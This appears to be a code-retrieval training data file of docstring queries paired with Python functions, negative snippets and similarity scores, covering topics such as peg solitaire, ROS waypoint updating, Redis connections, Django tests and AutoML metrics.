end_row, end_peg = C
# Check to make sure A is occupied and B is clear
if tri[start_row][start_peg] == False: return False
if tri[end_row][end_peg]: return False
# Make sure we're jumping over an occupied space.
if t... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def jump(self, j_orig, j_over, j_land):\n orig_x, orig_y = j_orig\n over_x, over_y = j_over\n land_x, land_y = j_land\n\n # indexes for each square\n orig_i = orig_y * self.ncols + orig_x\n over_i = over_y * self.ncols + over_x\n land_i = land_y * self.ncols + land_... | [
"0.58794034",
"0.5780335",
"0.56505096",
"0.56226003",
"0.5529821",
"0.548902",
"0.545118",
"0.54377955",
"0.5421571",
"0.54183495",
"0.5403734",
"0.5387588",
"0.53724825",
"0.5344193",
"0.5342577",
"0.5336441",
"0.52679",
"0.52414954",
"0.5229286",
"0.52260715",
"0.52221286"... | 0.7989009 | 0 |
Returns a (mid_row, mid_peg) tuple between (start_row, start_peg) and (end_row, end_peg). | def mid(start_row, start_peg, end_row, end_peg):
if start_row + 2 == end_row:
mid_row = start_row + 1
elif start_row == end_row + 2:
mid_row = start_row - 1
elif start_row == end_row:
mid_row = start_row
if start_peg + 2 == end_peg:
mid_peg = start_peg + 1
elif start... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def startAndEnd(self):\n upperRow = 0\n upperCol = 0\n lowerRow = 0\n lowerCol = 0\n if self.selectionMode == kSelectionNone:\n upperRow = self.penRow\n upperCol = self.penCol\n lowerRow = self.penRow\n lowerCol = self.penCol\n e... | [
"0.6485405",
"0.59999824",
"0.599718",
"0.57569534",
"0.57080907",
"0.5679897",
"0.5622903",
"0.5562309",
"0.5506314",
"0.5498558",
"0.54762554",
"0.54337853",
"0.53962946",
"0.5344107",
"0.53079104",
"0.52601105",
"0.5217689",
"0.5206089",
"0.51990014",
"0.51918226",
"0.5168... | 0.84714884 | 0 |
Prints out the history of states. | def print_history(hist):
print_triangle(triangle)
for past_triangle in hist:
print_triangle(past_triangle)
print() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def print_history(self):\n self.game_started = False\n for state in self.history:\n self.__draw_board(state)",
"def showState(self):\n for i in self.state[0]:\n for j in self.state[1]:\n print(self.table[i][j], end=\"\")\n print(\"\")",
"def ... | [
"0.7997242",
"0.7270549",
"0.72583467",
"0.71551496",
"0.7126221",
"0.70488614",
"0.69170225",
"0.670212",
"0.6673894",
"0.662962",
"0.65791935",
"0.6547414",
"0.6543382",
"0.64653563",
"0.64425373",
"0.64204794",
"0.64140356",
"0.6396624",
"0.6376319",
"0.63631135",
"0.63414... | 0.7103629 | 5 |
Searches, using recursive backtracking. | def search(tri, history = []):
count = 0
children = []
for start_row in range(len(tri)):
for start_peg in range(len(tri[start_row])):
if tri[start_row][start_peg] == True:
count += 1
for end_row, end_peg in jump_lookup[(start_row, start_peg)]:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def search(self):\r\n #get the initial state\r\n initialState = State()\r\n \r\n #create root node\r\n rootNode = Node(initialState)\r\n \r\n #show the search tree explored so far\r\n treeplot = TreePlot()\r\n treeplot.generateDiagram(rootNode, rootNod... | [
"0.6654038",
"0.65033793",
"0.6456524",
"0.6307618",
"0.6231046",
"0.62213635",
"0.6207362",
"0.61557186",
"0.6107835",
"0.6091845",
"0.6074678",
"0.60684437",
"0.60239583",
"0.5979148",
"0.59736043",
"0.5972576",
"0.5958814",
"0.5956313",
"0.5955384",
"0.5945115",
"0.5939703... | 0.6503747 | 1 |
Create a redis connection by uri. | def connect_redis(uri):
puri = urlparse.urlparse(uri)
host = puri.hostname
port = puri.port
password = puri.password if puri.password else ''
db_name = puri.path.split('/')[1]
r = redis.Redis(host=host, port=port, password=password, db=db_name)
assert r.ping()
return r | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def conn_redis(host, port, db=0):\r\n r = redis.Redis(host=host, port=port, db=db)\r\n return r",
"def create_connection():\n # REDIS_URL is defined in .env and loaded into the environment by Honcho\n redis_url = os.getenv('REDIS_URL')\n # If it's not defined, use the Redis default\n if not red... | [
"0.7483556",
"0.74211794",
"0.7264241",
"0.72543937",
"0.68576866",
"0.67962694",
"0.6592169",
"0.65768725",
"0.6565991",
"0.6559168",
"0.65246797",
"0.6495612",
"0.6445122",
"0.64029026",
"0.63978356",
"0.6371485",
"0.6359366",
"0.6345691",
"0.6345691",
"0.6323229",
"0.62616... | 0.82560194 | 0 |
Update next_waypoint based on base_waypoints and current_pose. True if a valid waypoint has been updated, False otherwise | def _update_next_waypoint(self):
if not self.base_waypoints:
#rospy.logwarn("Waypoints not updated: base_waypoints not available yet.")
return False
if not self.current_pose:
#rospy.logwarn("Waypoints not updated: current_pose not available yet.")
return ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update(self):\n\n # If the agent has already reached the\n # last waypoint it doesn't need to update\n if self.finished:\n return True\n\n # Skip if the proxy don't have any [new] data\n if (self.pp.info.datatime == 0) or \\\n (self.pp.info.datatime == s... | [
"0.75298524",
"0.6561931",
"0.6387742",
"0.6317193",
"0.63150394",
"0.622506",
"0.60167783",
"0.59918606",
"0.5980918",
"0.59700096",
"0.5907589",
"0.59038836",
"0.5851159",
"0.5754915",
"0.5693167",
"0.5637678",
"0.56281024",
"0.5589967",
"0.5589809",
"0.5587563",
"0.5584952... | 0.78717625 | 0 |
Update next_waypoint based on current_pose and base_waypoints Generate the list of the next LOOKAHEAD_WPS waypoints Update velocity for them Publish them to "/final_waypoints" | def update_and_publish(self):
# 1. Find next_waypoint based on ego position & orientation
if self._update_next_waypoint():
# 2. Generate the list of next LOOKAHEAD_WPS waypoints
num_base_wp = len(self.base_waypoints)
last_base_wp = num_base_wp-1
waypoint_... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _update_next_waypoint(self):\n if not self.base_waypoints:\n #rospy.logwarn(\"Waypoints not updated: base_waypoints not available yet.\")\n return False\n\n if not self.current_pose:\n #rospy.logwarn(\"Waypoints not updated: current_pose not available yet.\")\n ... | [
"0.7230159",
"0.6776315",
"0.67544454",
"0.6514871",
"0.6341936",
"0.6335558",
"0.633497",
"0.6204625",
"0.61543787",
"0.6134523",
"0.6099235",
"0.6051331",
"0.59626335",
"0.5945264",
"0.5943431",
"0.59124935",
"0.5906773",
"0.5842161",
"0.5803007",
"0.5779287",
"0.57633066",... | 0.8069657 | 0 |
Receive and store ego pose | def pose_cb(self, msg):
self.current_pose = msg.pose | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pose_cb(self, msg):\n rospy.loginfo(rospy.get_name() + ': pose received')\n self.current_pose = msg.pose",
"def handle_pose(msg):\n global sensor_cfg\n global no_position\n global body_frame\n global frame_cfg\n\n quat = np.array([msg.pose.orientation.x, msg.pose.orientation.y, m... | [
"0.6791787",
"0.6781667",
"0.64822555",
"0.64822555",
"0.64195806",
"0.63596",
"0.6339097",
"0.6322449",
"0.62868583",
"0.62387246",
"0.62365425",
"0.62295204",
"0.61943114",
"0.6193431",
"0.6192812",
"0.61869586",
"0.61656916",
"0.61653006",
"0.61484575",
"0.61422306",
"0.60... | 0.662574 | 2 |
Receive and store the whole list of waypoints. | def waypoints_cb(self, msg):
t = time.time()
waypoints = msg.waypoints
num_wp = len(waypoints)
if self.base_waypoints and self.next_waypoint is not None:
# Normally we assume that waypoint list doesn't change (or, at least, not
# in the position where the car is ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def waypoints_cb(self, msg):\n rospy.loginfo(rospy.get_name() + ': waypoints received')\n self.base_waypoints = msg.waypoints",
"def getWaypoints(self):\n return self.listener.waypoints",
"def waypoints_cb(self, waypoints):\n # This callback should be called only once, with the list... | [
"0.6804397",
"0.6662376",
"0.62895554",
"0.5920205",
"0.59094435",
"0.58577603",
"0.58577603",
"0.5814295",
"0.5766491",
"0.57356954",
"0.5727133",
"0.5711017",
"0.5708899",
"0.56178194",
"0.5490954",
"0.5476933",
"0.5401106",
"0.5401106",
"0.5384114",
"0.53779995",
"0.533546... | 0.63749915 | 2 |
Receive and store the waypoint index for the next red traffic light. If the index is <0, then there is no red traffic light ahead | def traffic_cb(self, msg):
prev_red_light_waypoint = self.red_light_waypoint
self.red_light_waypoint = msg.data if msg.data >= 0 else None
if prev_red_light_waypoint != self.red_light_waypoint:
if debugging:
rospy.loginfo("TrafficLight changed: %s", str(self.red_light... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def traffic_waypoint_cb(self, msg):\n\n # Save waypoint index for detected traffic light\n self.stopline_waypoint_idx = msg.data",
"def process_traffic_lights(self):\n light = None\n\n #some plausability checks before starting the processing\n if None is self.waypoints:\n ... | [
"0.68233603",
"0.68028736",
"0.6512141",
"0.63163286",
"0.62774485",
"0.6242495",
"0.6130179",
"0.60852367",
"0.6077796",
"0.6001004",
"0.5991535",
"0.59076035",
"0.58939004",
"0.5641353",
"0.5638717",
"0.56332844",
"0.55674475",
"0.54337895",
"0.54020077",
"0.5376153",
"0.53... | 0.604425 | 9 |
Restore original velocities of points | def restore_velocities(self, indexes):
for idx in indexes:
self.set_waypoint_velocity(self.base_waypoints, idx, self.base_wp_orig_v[idx]) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_velocities(self):\r\n self.wx = np.copy(Turbine.wzero)\r\n self.wy = np.copy(Turbine.wzero)",
"def reset(self):\n self.t = 0.0\n self.last_t = None\n self.current_y = np.copy(self.start_y)\n self.current_yd = np.copy(self.start_yd)",
"def reset(self):\n ... | [
"0.7025841",
"0.6620128",
"0.63186425",
"0.62810314",
"0.6206654",
"0.61409414",
"0.6138598",
"0.6134401",
"0.6096291",
"0.60953915",
"0.6012672",
"0.5995094",
"0.59774",
"0.5973119",
"0.59690225",
"0.59552336",
"0.59322405",
"0.5886006",
"0.58640605",
"0.58620423",
"0.585557... | 0.6673411 | 1 |
Decelerate a list of wayponts so that they stop on stop_index | def decelerate(self, waypoints, stop_index, stop_distance):
if stop_index <= 0:
return
dist = self.distance(waypoints, 0, stop_index)
step = dist / stop_index
# Generate waypoint velocity by traversing the waypoint list backwards:
# - Everything beyond stop_index wil... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plan_stop(wps, idx, min_decel, max_decel, speed_limit):\n\n if idx < 0:\n return []\n\n wps = wps[0: idx+1]\n\n # Calculate the acceleration needed to stop the car at the last waypoint in wps\n path_length = distance(wps, 0, len(wps)-1)\n a = -wps[0].twist.twist.linear.x**2/(2*path_length... | [
"0.69572246",
"0.5711461",
"0.56443334",
"0.5461794",
"0.5378483",
"0.5345332",
"0.5312884",
"0.52976394",
"0.5167818",
"0.51332635",
"0.51195765",
"0.50715023",
"0.5067811",
"0.50550187",
"0.50407976",
"0.50374746",
"0.50099397",
"0.4976755",
"0.49753836",
"0.49560714",
"0.4... | 0.6354519 | 1 |
Compare two waypoints to see whether they are the same (within 0.5 m and 0.5 m/s) | def is_same_waypoint(self, wp1, wp2, max_d=0.5, max_v=0.5):
dl = lambda a, b: math.sqrt((a.x-b.x)**2 + (a.y-b.y)**2 + (a.z-b.z)**2)
ddif = dl(wp1.pose.pose.position, wp2.pose.pose.position)
if ddif < max_d:
return True
return False | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __comparing_points(self, point1, point2) -> bool:\n return (abs(point1.x - point2.x) <= self.dirt_pos_tolerance and abs(\n point1.y - point2.y) <= self.dirt_pos_tolerance)",
"def match(uspec1, uspec2):\n \n if uspec1.is_power_onoff() and uspec2.is_power_onoff():\n return True\n... | [
"0.66216546",
"0.65738994",
"0.6439483",
"0.6387838",
"0.6352702",
"0.63003606",
"0.6274246",
"0.6252439",
"0.6230331",
"0.62167144",
"0.6209074",
"0.62022907",
"0.61987966",
"0.61629647",
"0.6139927",
"0.61213946",
"0.6107632",
"0.6103632",
"0.6090313",
"0.6084919",
"0.60797... | 0.73450947 | 0 |
Ensures that the string method behaves as expected | def test_string_method(self):
# Get Bangkok
bangkok = Country.objects.get(iso3="THA").capital
# Assert that the string of a city is its name
self.assertEqual(str(bangkok), bangkok.name) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_str(self):\n self.assertEqual(str(self.bs), str(self.wbs))\n self.assertEqual(str(self.be), str(self.be))\n # str(us) fails in Python 2\n self.assertEqual(str, type(str(self.wus)))\n # str(ue) fails in Python 2\n self.assertEqual(str, type(str(self.wue)))",
"def... | [
"0.75274694",
"0.75132626",
"0.73530805",
"0.7309857",
"0.7270092",
"0.721282",
"0.71722436",
"0.7136118",
"0.70180273",
"0.7011948",
"0.6983644",
"0.6929323",
"0.69226277",
"0.68956167",
"0.68881965",
"0.68660265",
"0.6839274",
"0.6811262",
"0.68098056",
"0.6734716",
"0.6727... | 0.0 | -1 |
Ensures that the string method behaves as expected | def test_string_method(self):
# Get Thailand
thailand = Country.objects.get(iso3="THA")
# Assert that the string of a city is its name
self.assertEqual(str(thailand), thailand.name) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_str(self):\n self.assertEqual(str(self.bs), str(self.wbs))\n self.assertEqual(str(self.be), str(self.be))\n # str(us) fails in Python 2\n self.assertEqual(str, type(str(self.wus)))\n # str(ue) fails in Python 2\n self.assertEqual(str, type(str(self.wue)))",
"def... | [
"0.7527163",
"0.7513367",
"0.73523635",
"0.7309321",
"0.727023",
"0.72126997",
"0.71719736",
"0.71354777",
"0.7018639",
"0.7012386",
"0.6982922",
"0.6929377",
"0.69216764",
"0.68958277",
"0.688879",
"0.68658817",
"0.6838508",
"0.681058",
"0.6809467",
"0.6735072",
"0.67267585"... | 0.0 | -1 |
Ensures that a capital can only belong to one country | def test_capital_unicity(self):
# Get Bangkok
bangkok = Country.objects.get(iso3="THA").capital
# Get United States
united_states = Country.objects.get(iso3="USA")
# Initialize assertRaises block
with self.assertRaises(IntegrityError):
# Set the capital of... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_country_name_not_in_countries(self):\n\t\tcountry_code = get_country_code('Venezuela, RB')\n\t\tself.assertEqual(country_code, 've')",
"def test_valid_country():\n assert valid_country(\"Democratic Republic of Lungary\") is True\n assert valid_country(\"Kraznoviklandstan\") is True\n assert val... | [
"0.57727647",
"0.5747203",
"0.5745896",
"0.5662479",
"0.5656905",
"0.55133384",
"0.54153365",
"0.53913385",
"0.53848505",
"0.53621507",
"0.5360658",
"0.53440136",
"0.5325288",
"0.53173727",
"0.528774",
"0.5264815",
"0.5211678",
"0.5199605",
"0.5149981",
"0.5145287",
"0.514528... | 0.64122915 | 0 |
Ensures that the cleaning of UN member status behaves as expected | def test_un_member_status(self):
# Get Hong Kong
hong_kong = Country.objects.get(iso3="HKG")
# Assert that is_un_member_at is None
self.assertEqual(hong_kong.is_un_member_at, None)
# Initialize assertRaises block
with self.assertRaises(ValidationError):
# ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def clean(self, uid, states=None):\n\n # doesn't change status",
"def clean(self):\n # Perform the standard ACE cleaning\n max_status = mm_ace.clean(self)\n\n # Replace bad values with NaN and remove times with no valid data\n self.data = self.data[self.data['status'] <= max_status]\n\n ret... | [
"0.6766085",
"0.60108733",
"0.5959499",
"0.5928209",
"0.59210426",
"0.5901284",
"0.5901226",
"0.586937",
"0.5864156",
"0.5860781",
"0.58541995",
"0.58541995",
"0.58360237",
"0.58315945",
"0.5801635",
"0.5786526",
"0.57726616",
"0.57681125",
"0.57417685",
"0.572516",
"0.567833... | 0.73605675 | 0 |
Two close clusters, one big and the other small, | def _generateFig1():
x0, y0 = make_blobs(n_samples=200, n_features=2, centers=[[13, 13]], cluster_std=1, random_state=45)
x1, y1 = make_blobs(n_samples=1000, n_features=2, centers=[[5, 0]], cluster_std=3.7, random_state=45)
y1 += 1
X = np.vstack((x0, x1))
y = np.hstack((y0, y1))
# Visualize the... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compare(self):\n len0 = len(self.cluster_lists[0])\n len1 = len(self.cluster_lists[1])\n longer_index = 0 if len0 >= len1 else 1\n shorter_index = 1 if len1 <= len0 else 0\n self.stars_length = len(self.cluster_lists[shorter_index]) \n self.starlets_length = len(self.c... | [
"0.6443352",
"0.6231452",
"0.6208744",
"0.6200639",
"0.6188412",
"0.6161846",
"0.6109839",
"0.6088792",
"0.60667986",
"0.6064064",
"0.6028824",
"0.60123897",
"0.60062116",
"0.5996975",
"0.59852415",
"0.59730357",
"0.5971053",
"0.5955494",
"0.58921957",
"0.58790106",
"0.587067... | 0.0 | -1 |
Remove all erroneous colors, replaced by the most commonly found in the direct neighborhood | def clean(data, out, npcolors):
prev_err = 0
new_err = 0
old = data.copy()
for r in range(data.shape[0]):
for c in range(data.shape[1]):
found = -1
for i, col in enumerate(npcolors):
if data[r, c] == col:
found = i
if fo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remove_colors(images):\n images = images[:, :, :, :, 0]\n return images",
"def color_invalid(self):\n for i in self.invalid:\n self.color_cell(i, INVALID)",
"def lightness_correction(self):\n points = self.color_lookup_table_points\n lightness_max_value = math.sqrt(3 *... | [
"0.6484606",
"0.6377774",
"0.62030065",
"0.60673124",
"0.6038112",
"0.5998475",
"0.5998475",
"0.595649",
"0.594523",
"0.5914712",
"0.5899766",
"0.58824664",
"0.58483124",
"0.5814882",
"0.580523",
"0.5790582",
"0.5781437",
"0.57611006",
"0.575656",
"0.5732335",
"0.5723635",
... | 0.6692518 | 0 |
Run a default synthesis | def test_synth_simple():
twd = tempfile.mkdtemp(dir=os.getcwd()+"/tmp")
print(twd)
wmin, wmax, dwl = 6700, 6720, 0.01
ll = turbopy.TSLineList(os.path.join(data_path, "vald-6700-6720.list"))
atmo = turbopy.MARCSModel.load(os.path.join(data_path, "sun.mod"))
atmo.Teff = 5777
atmo.log... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_a_sound(): # document string\n print('quack')",
"def main():\n\n start_program()\n yes_syn_words, no_syn_words, stop_words, record, mp3_filename, text, device_index, output_file = \\\n process_parameter_set()\n stand_alone_flag = process_check_input_argument()\n process_speak_liste... | [
"0.60132974",
"0.59505826",
"0.5925289",
"0.5898953",
"0.58482397",
"0.58189064",
"0.580842",
"0.57480925",
"0.5742441",
"0.57370013",
"0.5716831",
"0.56612676",
"0.56570905",
"0.5643319",
"0.5616963",
"0.5609976",
"0.560651",
"0.5598493",
"0.55957323",
"0.5588792",
"0.556845... | 0.5430164 | 30 |
Run a default synthesis | def test_synth_linelist():
twd = tempfile.mkdtemp(dir=os.getcwd()+"/tmp")
print(twd)
wmin, wmax, dwl = 6700, 6720, 0.01
ll1 = turbopy.TSLineList(os.path.join(data_path, "vald-6700-6720.list"))
ll2 = turbopy.TSLineList(os.path.join(data_path, "converted_BertrandPlez.002060"))
atmo = tur... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_a_sound(): # document string\n print('quack')",
"def main():\n\n start_program()\n yes_syn_words, no_syn_words, stop_words, record, mp3_filename, text, device_index, output_file = \\\n process_parameter_set()\n stand_alone_flag = process_check_input_argument()\n process_speak_liste... | [
"0.6013574",
"0.5951026",
"0.5925496",
"0.5898746",
"0.5848472",
"0.5818447",
"0.58081436",
"0.57470936",
"0.5742656",
"0.57360643",
"0.5716793",
"0.5661541",
"0.5656903",
"0.5644049",
"0.5617325",
"0.56107515",
"0.5605524",
"0.5597335",
"0.55965066",
"0.5587949",
"0.556806",... | 0.0 | -1 |
Call metric on dataset. | def __call__(self, dataset: 'LAMLDataset', dropna: bool = False):
assert hasattr(dataset, 'target'), 'Dataset should have target to calculate metric'
raise NotImplementedError | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def evaluate(self, dataset):\n\t\tpass",
"def calculate_dataset_metrics(self):\n pass",
"def __evaluate_metric(dataset, y_act, y_pred):\n if dataset.metric == 'specific':\n if dataset.best_is_min:\n return return_specific_metrics(y_act, y_pred)\n else:\n return -re... | [
"0.69342786",
"0.6845238",
"0.64811146",
"0.647018",
"0.63276863",
"0.63267714",
"0.62144816",
"0.6204923",
"0.6203799",
"0.6178699",
"0.6079341",
"0.6041779",
"0.60119766",
"0.6000055",
"0.59915954",
"0.5976304",
"0.59285223",
"0.590045",
"0.5898877",
"0.58946544",
"0.589144... | 0.63039166 | 6 |
Calculate metric value. If the metric does not include weights, then they are ignored. | def __call__(self, y_true, y_pred, sample_weight=None):
if self.flg:
return self.func(y_true, y_pred, sample_weight=sample_weight)
return self.func(y_true, y_pred) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def weighted_metrics(self):\n return None",
"def evaluate(self, representativeness: float, weight: float) -> float:\n pass",
"def getWeight(self) -> float:\n ...",
"def calculate_weighted_results():\n pass",
"def default_metric_value(self) -> float:",
"def getMetricValue(self):\n ... | [
"0.701454",
"0.68711394",
"0.67886615",
"0.6717882",
"0.66692466",
"0.6656426",
"0.65597034",
"0.65110725",
"0.6412962",
"0.634709",
"0.6312145",
"0.62502164",
"0.6189488",
"0.6171433",
"0.6166266",
"0.6166266",
"0.6159111",
"0.6145808",
"0.6094989",
"0.6055709",
"0.6042169",... | 0.0 | -1 |
Name of used metric. | def name(self) -> str:
if self._name is None:
return 'AutoML Metric'
else:
return self._name | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def metric_name(self) -> str:\n return self._metric_name",
"def metric_name(self) -> str:\n return pulumi.get(self, \"metric_name\")",
"def metric_name(self) -> str:\n return pulumi.get(self, \"metric_name\")",
"def metric_name(self) -> str:\n return self._values.get('metric_name'... | [
"0.83211684",
"0.8219123",
"0.8219123",
"0.81296223",
"0.81296223",
"0.7885565",
"0.78679574",
"0.7769057",
"0.7769057",
"0.7764613",
"0.7764613",
"0.7764613",
"0.7764613",
"0.7764613",
"0.7764613",
"0.7764613",
"0.7764613",
"0.7764613",
"0.741644",
"0.71540844",
"0.69523746"... | 0.76520246 | 18 |
Implement call sklearn metric on dataset. | def __call__(self, dataset: 'SklearnCompatible', dropna: bool = False) -> float:
assert hasattr(dataset, 'target'), 'Dataset should have target to calculate metric'
if self.one_dim:
assert dataset.shape[1] == 1, 'Dataset should have single column if metric is one_dim'
# TODO: maybe r... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def evaluate(self, dataset):\n\t\tpass",
"def evaluate(self, data, metric, classes=None):\n func_dict = {\n 'mutual_information': sklearn.metrics.mutual_info_score,\n 'normed_mutual_information': sklearn.metrics.normalized_mutual_info_score,\n 'square_error': sklearn.metrics.mean_squa... | [
"0.69129854",
"0.66921866",
"0.6664506",
"0.6658557",
"0.65358526",
"0.64022624",
"0.63196886",
"0.6217403",
"0.62092805",
"0.61501414",
"0.61377925",
"0.6125066",
"0.6089111",
"0.6083159",
"0.60741395",
"0.6060244",
"0.6057991",
"0.6048644",
"0.6021093",
"0.5998874",
"0.5975... | 0.6836997 | 1 |
Create metric for dataset. Get LAMLMetric that is called on dataset. | def get_dataset_metric(self) -> LAMLMetric:
# for now - case of sklearn metric only
one_dim = self.name in _one_dim_output_tasks
dataset_metric = SkMetric(self.metric_func, name=self.metric_name,
one_dim=one_dim, greater_is_better=self.greater_is_better)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_metric(self) -> EvalMetric:\n pass",
"def create_metric(self) -> 'LossMetric':\n raise NotImplementedError()",
"def __call__(self, dataset: 'LAMLDataset', dropna: bool = False):\n assert hasattr(dataset, 'target'), 'Dataset should have target to calculate metric'\n raise ... | [
"0.666398",
"0.60399914",
"0.5974834",
"0.5590214",
"0.55357915",
"0.55043375",
"0.55043375",
"0.5482854",
"0.54779565",
"0.5451086",
"0.5451086",
"0.54114413",
"0.5354682",
"0.5354682",
"0.51812303",
"0.51812303",
"0.51733845",
"0.5146675",
"0.5142152",
"0.5129933",
"0.51012... | 0.7164863 | 0 |
loads the trained model | def __init__(self , model_file_name ):
logging.set_verbosity(logging.ERROR)
with TheTFGraph.as_default():
with TheTFSession.as_default():
self.model = keras.models.load_model( model_file_name + ".hdf5" , compile=False )
JSON = json.load( open(model_file_name + ".json"... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load(self):\n print(\"==> Loading model from\", self.model_dir)\n self.model = tf.keras.models.load_model(self.model_dir)",
"def load_model(self):\n if self.ckpt_flag:\n LOG('Skip Loading Pre-trained Model......')\n else:\n if self.params.pre_trained_from is ... | [
"0.83975",
"0.80978334",
"0.803848",
"0.8006234",
"0.8006234",
"0.7986819",
"0.7961007",
"0.79427683",
"0.7912983",
"0.7907797",
"0.7878334",
"0.7867409",
"0.78210264",
"0.7813657",
"0.7778192",
"0.7770571",
"0.7763487",
"0.7745689",
"0.76948744",
"0.76580065",
"0.7651958",
... | 0.0 | -1 |
returns the prediction of the model for the input good/bad site errors | def __call__(self , good_sites={} , bad_sites={} , wf=None , tsk=None , sourcejson=None):
if wf :
if sourcejson :
jj = json.load( open(sourcejson) )
jjb = jj[wf]['errors']
good_sites = jjb['good_sites']
bad_sites = jjb['bad_sites']
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def predict(self, X):\n fmodel = self.estimators_[np.array(self.estimator_errors_).argmin()]\n predictions = fmodel.predict(X)\n return predictions",
"def predict(x_tst, model):\n\n predictions = model.predict(x_tst)\n return predictions",
"def make_predictions(self):\n if is_... | [
"0.65535253",
"0.6547375",
"0.6497838",
"0.6474936",
"0.64700997",
"0.6457139",
"0.6452555",
"0.643692",
"0.6426011",
"0.63976145",
"0.63880944",
"0.63773805",
"0.634643",
"0.63293964",
"0.63226146",
"0.63225234",
"0.63196623",
"0.630443",
"0.6302294",
"0.6301109",
"0.6288922... | 0.0 | -1 |
Returns confirmation html page | def get(cls, confirmation_id: str):
response_object = {"status": "fail", "message": "Invalid Payload"}
confirmation = ConfirmationModel.find_by_id(_id=confirmation_id)
if not confirmation:
response_object["message"] = "Confirmation reference not found"
return response_ob... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def confirm(request):\n return render(request,\"confirm.html\")",
"def confirm():\n if request.method == 'POST':\n user_type = session.get('type', None)\n if user_type == 'Admin':\n return redirect('/index')\n elif user_type == 'Client':\n return redirect('/client... | [
"0.74561346",
"0.683766",
"0.6733679",
"0.6456007",
"0.64410394",
"0.63745975",
"0.6295902",
"0.6274699",
"0.62547296",
"0.6234513",
"0.6206061",
"0.62045884",
"0.6164084",
"0.6094845",
"0.60204047",
"0.60081846",
"0.5981034",
"0.5932147",
"0.5919668",
"0.5891318",
"0.5888231... | 0.5670258 | 38 |
Returns confirmation for specific user | def get(cls, user_id: int):
response_object = {"status": "fail"}
user = UserModel.find_by_id(_id=user_id)
if not user:
return response_object, 404
else:
response_object["status"] = "success"
response_object["current_time"] = int(time())
re... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def send_confirmation_email(user_pk):\n pass",
"def confirm():\n if request.method == 'POST':\n user_type = session.get('type', None)\n if user_type == 'Admin':\n return redirect('/index')\n elif user_type == 'Client':\n return redirect('/clients/' + session.get('... | [
"0.76152027",
"0.7109021",
"0.6789676",
"0.67045313",
"0.6679205",
"0.6656919",
"0.6578207",
"0.6557551",
"0.6538443",
"0.65078926",
"0.6493086",
"0.6492265",
"0.6421568",
"0.6383825",
"0.6377426",
"0.63269174",
"0.6316806",
"0.6283499",
"0.6260746",
"0.6254596",
"0.62017685"... | 0.54621446 | 82 |
Collectes entries in rootdir's basedir directory which is always relateive to rootdir. | def _collect_entries(rootdir: str, basedir: str):
files = []
dirs = []
for entry in os.listdir(os.path.join(rootdir, basedir)):
rel_path = os.path.join(basedir, entry)
full_path = os.path.join(rootdir, rel_path)
isdir = os.path.isdir(full_path)
if isdir and (rel_path in ('.... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_final_dirs(self, root=\"\"):\n _updated = int(self.stats()[\"db_update\"])\n _hash = uhash(root)\n return self._get_final_dirs(_updated=_updated, _hash=_hash, root=root)",
"def getImmediateSubdirectories(dir):",
"def _load_dirs(self):\n rootdirs = self._docset.get_compounds(... | [
"0.66336405",
"0.6516187",
"0.63490784",
"0.6312109",
"0.6306998",
"0.6250683",
"0.61746",
"0.6130482",
"0.6113366",
"0.6081825",
"0.60749775",
"0.6051456",
"0.6035353",
"0.602858",
"0.60019743",
"0.59748715",
"0.59671766",
